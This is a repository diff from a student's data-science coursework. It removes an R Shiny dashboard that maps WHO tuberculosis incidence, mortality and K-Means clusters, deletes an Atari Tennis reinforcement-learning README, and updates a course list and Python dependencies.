L'utilisation d'outils d'intelligence artificielle générative s'est inscrite dans une démarche d'assistance ponctuelle et rigoureusement contrôlée. Sur le volet **rédactionnel**, l'IA a contribué à l'optimisation syntaxique et à la fluidité des transitions, le raisonnement et les interprétations demeurant strictement personnels. Sur le plan **technique**, elle a servi d'outil de diagnostic pour le débogage de l'application R Shiny (gestion de la réactivité, conflits). L'intégralité du code a été vérifiée et maîtrisée : aucune partie de l'analyse n'a été déléguée sans supervision humaine.
\newpage
# Bibliographie
## Rapports et Encyclopédies
- [1] Organisation Mondiale de la Santé (OMS). (2024). Global Tuberculosis Report 2024. Disponible sur : https://www.who.int/teams/global-programme-on-tuberculosis-and-lung-health/tb-reports/global-tuberculosis-report-2024
- [2] Wikipédia. (s.d.). Tuberculose. Disponible sur : https://fr.wikipedia.org/wiki/Tuberculose
## Supports de Cours - Master 2 ISF (2025-2026)
- [3] Ochoa, J. (2025-2026). *Les algorithmes non supervisés.* Support de cours : Machine Learning. Université Paris-Dauphine - PSL.
- [4] Bertrand, P. (2025-2026). *K-Means.* Support de cours : Apprentissage non supervisé et clustering. Université Paris-Dauphine - PSL.
- [5] Guibert, Q. (2025-2026). *Data Visualisation.* Support de cours : Visualisation des données avec R. Université Paris-Dauphine - PSL.

View File

@@ -1,863 +0,0 @@
# Chargement des bibliothèques
library(shiny)
library(shinydashboard)
library(leaflet)
library(plotly)
library(dplyr)
library(sf)
library(RColorBrewer)
library(DT)
library(rnaturalearth)
library(rnaturalearthdata)
# Chargement des données
load("data/TB_analysis_ready.RData")
# Définition des labels pour les clusters
labels <- c("1. Faible Impact", "2. Impact Modéré", "3. Impact Critique")
# Application des labels aux données
tb_clustered$label <- factor(tb_clustered$label)
levels(tb_clustered$label) <- labels
# Création de la carte du monde
world_map <- ne_countries(scale = "medium", returnclass = "sf")
# Définition des couleurs pour les clusters
green <- "#66bd63"
orange <- "#f48a43"
red <- "#d73027"
# Interface utilisateur
ui <- shinydashboard::dashboardPage(
skin = "black",
# Header
dashboardHeader(title = "Tuberculose"),
# Sidebar
dashboardSidebar(
sidebarMenu(
menuItem(
"Méthodologie & Définitions",
tabName = "methodo",
icon = icon("info-circle")
),
menuItem(
"Vue d'Ensemble",
tabName = "dashboard",
icon = icon("dashboard")
),
menuItem("Données Brutes", tabName = "data", icon = icon("table")),
# Footer - Informations et crédits
div(
style = "position: absolute; bottom: 10px; width: 100%; text-align: center; font-size: 12px; color: #b8c7ce;",
p("© 2026 Arthur Danjou"),
p("M2 ISF - Dauphine PSL"),
p(
a(
"Code Source",
href = "https://go.arthurdanjou.fr/datavis",
target = "_blank",
style = "color: #3c8dbc;"
)
)
),
hr(),
# Filtre par Région
selectInput(
"region_select",
"Filtrer par Région :",
choices = c("Toutes", unique(tb_clustered$g_whoregion)),
selected = "Toutes"
),
# Sélecteur d'année
sliderInput(
"year_select",
"Année :",
min = min(tb_clustered$year),
max = max(tb_clustered$year),
value = max(tb_clustered$year),
step = 1,
sep = "",
animate = animationOptions(interval = 5000, loop = FALSE)
)
)
),
# Body
dashboardBody(
tabItems(
# Page 1 - Vue d'Ensemble
tabItem(
tabName = "dashboard",
# KPI - Total des cas
fluidRow(
valueBoxOutput("kpi_total_cases", width = 4),
valueBoxOutput("kpi_worst_country", width = 4),
valueBoxOutput("kpi_critical_count", width = 4)
),
# Carte Épidémiologique
fluidRow(
box(
width = 7,
title = "Carte Épidémiologique",
status = "primary",
solidHeader = TRUE,
radioButtons(
"metric_select",
"Indicateur :",
choices = c(
"Incidence" = "e_inc_100k",
"Mortalité" = "e_mort_exc_tbhiv_100k",
"Clusters K-Means" = "label"
),
inline = TRUE
),
p(
class = "text-muted",
"Cliquer sur un point pour filtrer par pays."
),
leafletOutput("map_plot", height = "500px")
),
# Scatter Plot des Clusters
box(
width = 5,
title = "Analyse des Clusters (Incidence vs Mortalité)",
status = "success",
solidHeader = TRUE,
p(
class = "text-muted",
style = "font-size:0.9em",
"Chaque point est un pays. Les couleurs correspondent aux groupes de risque identifiés par l'algorithme K-Means."
),
p(
class = "text-muted",
"Cliquer sur un point pour filtrer par pays."
),
plotlyOutput("cluster_scatter", height = "530px")
)
),
fluidRow(
# Plot des tendances
box(
width = 7,
title = "Comparaison : Pays vs Moyenne Régionale vs Moyenne Mondiale",
status = "warning",
solidHeader = TRUE,
plotlyOutput("trend_plot", height = "400px")
),
# Distribution des Clusters
box(
width = 5,
title = "Distribution des Clusters",
status = "info",
solidHeader = TRUE,
p(
class = "text-muted",
"Cliquer sur un point du rug pour filtrer par pays."
),
plotlyOutput("density_plot", height = "400px")
)
)
),
# Page 2 - Données Brutes
tabItem(
tabName = "data",
fluidRow(
box(
width = 12,
title = "Explorateur de Données",
status = "primary",
p("Tableau filtrable et exportable des données utilisées."),
DTOutput("raw_table")
)
)
),
# Page 3 - Méthodologie
tabItem(
tabName = "methodo",
fluidRow(
# Indicateurs OMS
box(
width = 12,
title = "Définitions des Indicateurs OMS",
status = "info",
solidHeader = TRUE,
column(
width = 6,
h4(icon("lungs"), "Incidence de la Tuberculose"),
p(
"Correspond à la variable ",
code("e_inc_100k"),
" dans le jeu de données de l'OMS."
),
p(
"Il s'agit du nombre estimé de ",
strong("nouveaux cas"),
" de tuberculose (toutes formes confondues) survenus au cours d'une année donnée, rapporté pour 100 000 habitants."
),
p(
"Cet indicateur mesure la ",
em("propagation"),
" de la maladie dans la population."
),
),
column(
width = 6,
h4(icon("skull"), "Mortalité (hors VIH)"),
p(
"Correspond à la variable ",
code("e_mort_exc_tbhiv_100k"),
"."
),
p(
"Il s'agit du nombre estimé de décès dus à la tuberculose chez les personnes non infectées par le VIH, rapporté pour 100 000 habitants."
),
p(
"Cet indicateur mesure la ",
em("sévérité"),
" et l'efficacité de l'accès aux soins (un taux élevé signale souvent un système de santé défaillant)."
)
),
),
),
# Choix des Variables
fluidRow(
column(
width = 6,
box(
width = 12,
title = "Pourquoi seulement 2 variables actives ?",
status = "warning",
solidHeader = TRUE,
p(
"Le modèle de clustering repose uniquement sur l'Incidence et la Mortalité. Ce choix de parcimonie est justifié par 4 contraintes techniques :"
),
br(),
column(
width = 6,
h4(
icon("ruler-combined"),
"1. Robustesse Mathématique",
class = "text-warning"
),
p(
"Évite le 'fléau de la dimension'. Avec trop de variables, les distances euclidiennes perdent leur sens et les groupes deviennent flous."
),
br(),
h4(
icon("project-diagram"),
"2. Non-Colinéarité",
class = "text-warning"
),
p(
"Évite de compter deux fois la même information (ex: Incidence vs Nombre de cas) qui fausserait le poids des indicateurs."
),
),
column(
width = 6,
h4(
icon("filter"),
"3. Qualité des Données",
class = "text-warning"
),
p(
"Le K-Means ne tolère pas les données manquantes. Ajouter des variables socio-économiques aurait réduit la taille de l'échantillon de 30% à 50%."
),
br(),
h4(icon("eye"), "4. Lisibilité", class = "text-warning"),
p(
"Permet une visualisation directe en 2D (Scatterplot) sans déformation, rendant l'outil accessible aux non-statisticiens."
)
)
),
# Source des Données
box(
width = 12,
title = "Source des Données",
status = "danger",
solidHeader = TRUE,
p(
icon("database"),
"Les données sont issues du ",
a(
"Global Tuberculosis Report",
href = "https://www.who.int/teams/global-programme-on-tuberculosis-and-lung-health/data",
target = "_blank"
),
" de l'Organisation Mondiale de la Santé (OMS)."
),
p("Dernière mise à jour du dataset : Octobre 2024.")
),
),
column(
width = 6,
box(
width = 12,
title = "Algorithme de Classification (Clustering)",
status = "success",
solidHeader = TRUE,
h4("Pourquoi un Clustering K-Means ?"),
p(
"Afin de synthétiser l'information et de faciliter la prise de décision, j'ai appliqué un algorithme d'apprentissage non supervisé (K-Means) pour regrouper les pays ayant des profils épidémiques similaires sous 4 clusters."
),
h4("Méthodologie"),
tags$ul(
tags$li(
strong("Variables :"),
" Incidence et Mortalité (centrées et réduites pour assurer un poids équivalent)."
),
tags$li(
strong("Nombre de Clusters (k) :"),
" Fixé à 3 pour obtenir une segmentation tricolore lisible (Faible, Modéré, Critique)."
),
tags$li(
strong("Stabilité :"),
"Utilisation de `set.seed(123)` pour garantir la reproductibilité des résultats."
)
),
h4("Interprétation des 3 Groupes"),
# Tableau des Groupes
tags$table(
class = "table table-striped",
tags$thead(
tags$tr(
tags$th("Cluster"),
tags$th("Description"),
tags$th("Profil Type")
)
),
tags$tbody(
tags$tr(
tags$td(span(
style = paste0(
"background-color:",
green,
"; color: black; font-weight: bold; padding: 5px; border-radius: 5px;"
),
labels[1]
)),
tags$td("Incidence et mortalité très basses."),
tags$td("Europe de l'Ouest, Amérique du Nord")
),
tags$tr(
tags$td(span(
style = paste0(
"background-color:",
orange,
"; color: black; font-weight: bold; padding: 5px; border-radius: 5px;"
),
labels[2]
)),
tags$td("Incidence significative mais mortalité contenue."),
tags$td("Amérique Latine, Maghreb, Europe de l'Est")
),
tags$tr(
tags$td(span(
style = paste0(
"background-color:",
red,
"; color: black; font-weight: bold; padding: 5px; border-radius: 5px;"
),
labels[3]
)),
tags$td("Incidence massive et forte létalité."),
tags$td("Afrique Subsaharienne, Zones de conflit")
)
)
)
),
# Code & Documentation
box(
title = "Code & Documentation",
status = "primary",
solidHeader = TRUE,
width = 12,
tags$p(
"Ce projet suit une approche Open Science.",
style = "font-style: italic;"
),
tags$p(
"L'intégralité du code source (Rmd, App) ainsi que la notice technique (PDF) sont disponibles en libre accès sur le dépôt GitHub."
),
tags$a(
href = "https://go.arthurdanjou.fr/datavis-code",
target = "_blank",
class = "btn btn-block btn-social btn-github",
style = "color: white; background-color: #333; border-color: #333;",
icon("github"),
" Accéder au Code"
)
)
),
),
)
)
)
)
# Serveur
server <- function(input, output, session) {
# Filtrage des données
filtered_data <- shiny::reactive({
req(input$year_select)
data <- tb_clustered |> filter(year == input$year_select)
if (input$region_select != "Toutes") {
data <- data |> filter(g_whoregion == input$region_select)
}
return(data)
})
# Données pour la carte
map_data_reactive <- shiny::reactive({
req(filtered_data())
world_map |> inner_join(filtered_data(), by = c("adm0_a3" = "iso3"))
})
# Définition des couleurs pour les clusters
cluster_colors <- setNames(
c(green, orange, red),
labels
)
# Fonction pour dessiner les polygones sur la carte
dessiner_polygones <- function(map_object, data, metric) {
if (metric == "label") {
values_vec <- data$label
pal_fun <- leaflet::colorFactor(
as.character(cluster_colors),
domain = names(cluster_colors)
)
fill_vals <- pal_fun(values_vec)
legend_title <- "Cluster"
label_txt <- paste0(data$name, " - ", data$label)
legend_vals <- names(cluster_colors)
} else {
values_vec <- data[[metric]]
pal_fun <- leaflet::colorNumeric(
palette = c(green, orange, red),
domain = values_vec
)
fill_vals <- pal_fun(values_vec)
legend_title <- "Taux / 100k"
label_txt <- paste0(data$name, ": ", round(values_vec, 1))
legend_vals <- values_vec
}
map_object |>
leaflet::addPolygons(
data = data,
fillColor = ~fill_vals,
weight = 1,
color = ifelse(metric == "label", "gray", "black"),
fillOpacity = 0.7,
layerId = ~adm0_a3,
label = ~label_txt,
highlightOptions = highlightOptions(
weight = 3,
color = "#666",
bringToFront = TRUE
)
) |>
leaflet::addLegend(
pal = pal_fun,
values = legend_vals,
title = legend_title,
position = "bottomright"
)
}
# Carte
output$map_plot <- leaflet::renderLeaflet({
isolate({
data <- map_data_reactive()
metric <- input$metric_select
leaflet(options = leafletOptions(minZoom = 2, maxZoom = 6)) |>
addProviderTiles(
providers$CartoDB.Positron,
options = providerTileOptions(noWrap = TRUE)
) |>
setMaxBounds(lng1 = -180, lat1 = -90, lng2 = 180, lat2 = 90) |>
setView(lat = 20, lng = 0, zoom = 2) |>
dessiner_polygones(data, metric)
})
})
# KPI - Total des cas
output$kpi_total_cases <- shinydashboard::renderValueBox({
data <- filtered_data()
val <- round(mean(data$e_inc_100k, na.rm = TRUE))
valueBox(
val,
"Incidence Moyenne (cas/100k)",
icon = icon("chart-area"),
color = "green"
)
})
# KPI - Pire pays
output$kpi_worst_country <- shinydashboard::renderValueBox({
data <- filtered_data()
worst <- data |>
arrange(desc(e_inc_100k)) |>
slice(1)
if (nrow(worst) > 0) {
valueBox(
worst$country,
paste("Max Incidence :", round(worst$e_inc_100k)),
icon = icon("exclamation-triangle"),
color = "red"
)
} else {
valueBox("N/A", "Pas de données", icon = icon("ban"), color = "red")
}
})
# KPI - Pays en phase 'Critique'
output$kpi_critical_count <- shinydashboard::renderValueBox({
data <- filtered_data()
count <- sum(data$label == labels[3], na.rm = TRUE)
valueBox(
count,
"Pays en phase 'Critique'",
icon = icon("hospital"),
color = "orange"
)
})
# Plot des tendances
output$trend_plot <- plotly::renderPlotly({
req(selected_country())
country_hist <- tb_clustered |> filter(iso3 == selected_country())
if (nrow(country_hist) == 0) {
return(NULL)
}
nom_pays <- unique(country_hist$country)[1]
region_du_pays <- unique(country_hist$g_whoregion)[1]
region_benchmark <- tb_clustered |>
filter(g_whoregion == region_du_pays) |>
group_by(year) |>
summarise(mean_inc = mean(e_inc_100k, na.rm = TRUE))
global_benchmark <- tb_clustered |>
group_by(year) |>
summarise(mean_inc = mean(e_inc_100k, na.rm = TRUE))
p <- ggplot() +
geom_area(
data = country_hist,
aes(
x = year,
y = e_inc_100k,
group = 1,
text = paste0("<b>Pays : ", nom_pays, "</b>")
),
fill = red,
alpha = 0.1
) +
geom_line(
data = region_benchmark,
aes(
x = year,
y = mean_inc,
group = 1,
color = "Moyenne Régionale",
text = paste0(
"<b>Moyenne ",
region_du_pays,
"</b><br>Année : ",
year,
"<br>Incidence : ",
round(mean_inc, 1)
)
),
size = 0.5,
linetype = "dashed"
) +
geom_line(
data = global_benchmark,
aes(
x = year,
y = mean_inc,
group = 1,
color = "Moyenne Mondiale",
text = paste0(
"<b>Moyenne Mondiale</b><br>Année : ",
year,
"<br>Incidence : ",
round(mean_inc, 1)
)
),
size = 0.75,
linetype = "dashed"
) +
geom_line(
data = country_hist,
aes(
x = year,
y = e_inc_100k,
group = 1,
color = "Pays Sélectionné",
text = paste0(
"<b>Pays : ",
nom_pays,
"</b><br>Incidence : ",
round(e_inc_100k, 1),
"<br>Mortalité : ",
round(e_mort_exc_tbhiv_100k, 1)
)
),
size = 1
) +
geom_vline(
xintercept = as.numeric(input$year_select),
linetype = "dotted",
color = "black",
alpha = 0.6
) +
scale_color_manual(
name = "",
values = c(
"Moyenne Régionale" = "grey30",
"Pays Sélectionné" = red,
"Moyenne Mondiale" = "orange"
)
) +
labs(
title = paste(
"Trajectoire :",
nom_pays,
"vs",
region_du_pays,
"vs Monde"
),
x = "Année",
y = "Incidence (pour 100k)"
) +
theme_minimal() +
theme(legend.position = "bottom")
ggplotly(p, tooltip = "text") |>
layout(
legend = list(orientation = "h", x = 0.1, y = -0.2),
hovermode = "x unified"
)
})
# Densité des cas
output$density_plot <- plotly::renderPlotly({
data <- filtered_data()
sel_iso <- selected_country()
highlight_data <- data |> filter(iso3 == sel_iso)
p <- ggplot(data, aes(x = e_inc_100k, fill = label)) +
geom_density(
aes(text = paste0("<b>Cluster : </b>", label)),
alpha = 0.6,
color = NA
) +
geom_rug(
aes(
color = label,
customdata = iso3,
text = paste0(
"<b>Pays : </b>",
country,
"<br><b>Incidence : </b>",
round(e_inc_100k),
" (cas/100k)<br><b>Cluster : </b>",
label
)
),
sides = "b",
length = unit(0.2, "npc"),
size = 1.2,
alpha = 0.9
) +
geom_point(
data = highlight_data,
aes(
x = e_inc_100k,
y = 0,
text = paste0(
"<b>PAYS SÉLECTIONNÉ</b><br><b>",
country,
"</b><br>Incidence : ",
round(e_inc_100k)
)
),
color = "black",
fill = "white",
shape = 21,
size = 4
) +
scale_fill_manual(values = cluster_colors) +
scale_color_manual(values = cluster_colors) +
scale_x_log10() +
labs(
title = "Distribution des Risques",
x = "Incidence (Échelle Log)",
y = NULL
) +
theme_minimal() +
theme(
legend.position = "none",
axis.text.y = element_blank(),
axis.ticks.y = element_blank(),
panel.grid.major.y = element_blank(),
panel.grid.minor.y = element_blank()
)
ggplotly(p, tooltip = "text", source = "density_click") |>
layout(hovermode = "closest")
})
# Nuage de points des clusters
output$cluster_scatter <- plotly::renderPlotly({
data <- filtered_data()
sel_iso <- selected_country()
highlight_data <- data |> filter(iso3 == sel_iso)
p <- ggplot(data, aes(x = e_inc_100k, y = e_mort_exc_tbhiv_100k)) +
geom_point(
aes(
color = label,
customdata = iso3,
text = paste(
"Pays:",
country,
"<br>Cluster:",
label,
"<br>Pop:",
round(e_pop_num / 1e6, 1),
"M",
"<br>Incidence:",
round(e_inc_100k),
"<br>Mortalité:",
round(e_mort_exc_tbhiv_100k)
)
),
size = 3,
alpha = 0.6
) +
geom_point(
data = highlight_data,
aes(
fill = label,
text = paste(
"<b>PAYS SÉLECTIONNÉ</b>",
"<br>Pays:",
country,
"<br>Cluster:",
label,
"<br>Incidence:",
round(e_inc_100k),
"<br>Mortalité:",
round(e_mort_exc_tbhiv_100k)
)
),
shape = 21,
color = "black",
stroke = 1,
size = 5,
alpha = 1,
show.legend = FALSE
) +
scale_x_log10() +
scale_y_log10() +
scale_color_manual(values = cluster_colors) +
scale_fill_manual(values = cluster_colors) +
labs(title = "Incidence vs Mortalité", x = "Incidence", y = "Mortalité") +
theme_minimal() +
theme(legend.position = "bottom")
ggplotly(p, tooltip = "text", source = "scatter_click")
})
# Tableau des données brutes
output$raw_table <- DT::renderDT({
data <- filtered_data() |>
select(
country,
year,
g_whoregion,
e_inc_100k,
e_mort_exc_tbhiv_100k,
label
)
datatable(
data,
rownames = FALSE,
options = list(pageLength = 15, scrollX = TRUE),
colnames = c(
"Pays",
"Année",
"Région",
"Incidence",
"Mortalité",
"Cluster"
)
)
})
# Mise à jour de la carte
shiny::observe({
data <- map_data_reactive()
metric <- input$metric_select
leafletProxy("map_plot", data = data) |>
clearShapes() |>
clearControls() |>
dessiner_polygones(data, metric)
})
# Sélection du pays
selected_country <- shiny::reactiveVal("FRA")
# Sélection du pays sur la carte
shiny::observeEvent(input$map_plot_shape_click, {
click <- input$map_plot_shape_click
if (!is.null(click$id)) {
selected_country(click$id)
}
})
# Sélection du pays dans le nuage de points
shiny::observeEvent(event_data("plotly_click", source = "scatter_click"), {
click_info <- event_data("plotly_click", source = "scatter_click")
if (!is.null(click_info$customdata)) {
selected_country(click_info$customdata)
}
})
# Sélection du pays dans la densité
shiny::observeEvent(event_data("plotly_click", source = "density_click"), {
click_info <- event_data("plotly_click", source = "density_click")
if (!is.null(click_info$customdata)) {
selected_country(click_info$customdata)
}
})
}
# Lancement de l'application Shiny
shiny::shinyApp(ui, server)

Binary file not shown.

Before

Width:  |  Height:  |  Size: 45 KiB

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because it is too large Load Diff

File diff suppressed because one or more lines are too long

View File

@@ -1,91 +0,0 @@
# RL Project: Atari Tennis Tournament
Comparison of Reinforcement Learning algorithms on Atari Tennis (`ALE/Tennis-v5` via Gymnasium/PettingZoo).
## Overview
This project implements and compares five RL agents playing Atari Tennis against the built-in AI and in head-to-head tournaments.
## Algorithms
| Agent | Type | Policy | Update Rule |
|-------|------|--------|-------------|
| **Random** | Baseline | Uniform random | None |
| **SARSA** | TD(0), on-policy | ε-greedy | $W_a \leftarrow W_a + \alpha \cdot (r + \gamma \hat{q}(s', a') - \hat{q}(s, a)) \cdot \phi(s)$ |
| **Q-Learning** | TD(0), off-policy | ε-greedy | $W_a \leftarrow W_a + \alpha \cdot (r + \gamma \max_{a'} \hat{q}(s', a') - \hat{q}(s, a)) \cdot \phi(s)$ |
| **Monte Carlo** | First-visit MC | ε-greedy | $W_a \leftarrow W_a + \alpha \cdot (G_t - \hat{q}(s, a)) \cdot \phi(s)$ |
| **DQN** | Deep Q-Network | ε-greedy | MLP (256→256) with experience replay & target network |
## Architecture
- **Linear agents** (SARSA, Q-Learning, Monte Carlo): $\hat{q}(s, a; \mathbf{W}) = \mathbf{W}_a^\top \phi(s)$ with $\phi(s) \in \mathbb{R}^{128}$ (RAM observation)
- **DQN**: MLP network (128 → 128 → 64 → 18) trained with Adam optimizer, Huber loss, and periodic target network sync
## Environment
- **Game**: Atari Tennis via PettingZoo (`tennis_v3`)
- **Observation**: RAM state (128 features)
- **Action Space**: 18 discrete actions
- **Agents**: 2 players (`first_0` and `second_0`)
## Project Structure
```
.
├── Project_RL_DANJOU_VON-SIEMENS.ipynb # Main notebook
├── README.md # This file
├── checkpoints/ # Saved agent weights
│ ├── sarsa.pkl
│ ├── q_learning.pkl
│ ├── montecarlo.pkl
│ └── dqn.pkl
└── plots/ # Training & evaluation plots
├── SARSA_training_curves.png
├── Q-Learning_training_curves.png
├── MonteCarlo_training_curves.png
├── DQN_training_curves.png
├── evaluation_results.png
└── championship_matrix.png
```
## Key Results
### Win Rate vs Random Baseline
| Agent | Win Rate |
|-------|----------|
| SARSA | 88.9% |
| Q-Learning | 41.2% |
| Monte Carlo | 47.1% |
| DQN | 6.2% |
### Championship Tournament
Full round-robin tournament where each agent faces every other agent in both positions (first_0/second_0).
## Notebook Sections
1. **Configuration & Checkpoints** — Incremental training workflow with pickle serialization
2. **Utility Functions** — Observation normalization, ε-greedy policy
3. **Agent Definitions**`RandomAgent`, `SarsaAgent`, `QLearningAgent`, `MonteCarloAgent`, `DQNAgent`
4. **Training Infrastructure**`train_agent()`, `plot_training_curves()`
5. **Evaluation** — Match system, random baseline, round-robin tournament
6. **Results & Visualization** — Win rate plots, matchup matrix heatmap
## Known Issues
- **Monte Carlo & DQN**: Checkpoint loading issues — saved weights may not restore properly during evaluation (training works correctly)
## Dependencies
- Python 3.13+
- `numpy`, `matplotlib`
- `torch`
- `gymnasium`, `ale-py`
- `pettingzoo`
- `tqdm`
## Authors
- Arthur DANJOU
- Moritz VON SIEMENS

Binary file not shown.

Before

Width:  |  Height:  |  Size: 257 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 132 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 222 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 178 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 77 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 23 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 49 KiB

Binary file not shown.

View File

@@ -37,8 +37,8 @@
| Course | Description |
|--------|-------------|
| `Advanced Machine Learning` | Advanced ML techniques |
| `Classification and Regression` | Supervised learning methods |
| `Clustering In Practice` | Unsupervised learning and clustering |
| `Cybersecurity` | Data security and analysis |
| `Data Visualisation` | Data visualization principles and tools |
| `Deep Learning` | Neural networks and deep architectures |
| `Enjeux Climatiques` | Climate issues and data analysis |
@@ -51,7 +51,6 @@
| `Statistiques Non Paramétrique` | Non-parametric statistics |
| `Time Series` | Time series analysis and forecasting |
| `Unsupervised Learning` | Unsupervised learning methods |
| `VBA` | Visual Basic for Applications |
## 🛠️ Technologies & Tools

View File

@@ -5,34 +5,36 @@ description = "A curated collection of mathematics and data science projects dev
readme = "README.md"
requires-python = ">= 3.12,<3.14"
dependencies = [
"ale-py>=0.11.2",
"catboost>=1.2.10",
"flask>=3.1.3",
"gradio>=6.9.0",
"ipykernel>=7.2.0",
"ipywidgets>=8.1.8",
"langchain>=1.2.10",
"langchain-core>=1.2.17",
"langchain-core>=1.2.18",
"langchain-huggingface>=1.2.1",
"langchain-mistralai>=1.1.1",
"langchain-qdrant>=1.1.0",
"matplotlib>=3.10.8",
"numpy>=2.4.2",
"numpy>=2.4.3",
"opencv-python>=4.13.0.92",
"pandas>=3.0.1",
"pandas-stubs>=3.0.0.260204",
"pettingzoo[atari]>=1.24.3",
"plotly>=6.6.0",
"python-dotenv>=1.2.2",
"qdrant-client>=1.17.0",
"scikit-learn>=1.8.0",
"scipy>=1.17.1",
"seaborn>=0.13.2",
# "sequenzo>=0.1.20",
"shap>=0.50.0",
"shap>=0.51.0",
"spacy>=3.8.11",
"tensorflow>=2.20.0",
"tf-keras>=2.20.1",
"tensorflow>=2.21.0",
"tiktoken>=0.12.0",
"todoist-python>=8.1.4",
"torch>=2.10.0",
"umap-learn>=0.5.11",
"uv>=0.10.7",
"uv>=0.10.9",
"xgboost>=3.2.0",
]

1045
uv.lock generated

File diff suppressed because it is too large Load Diff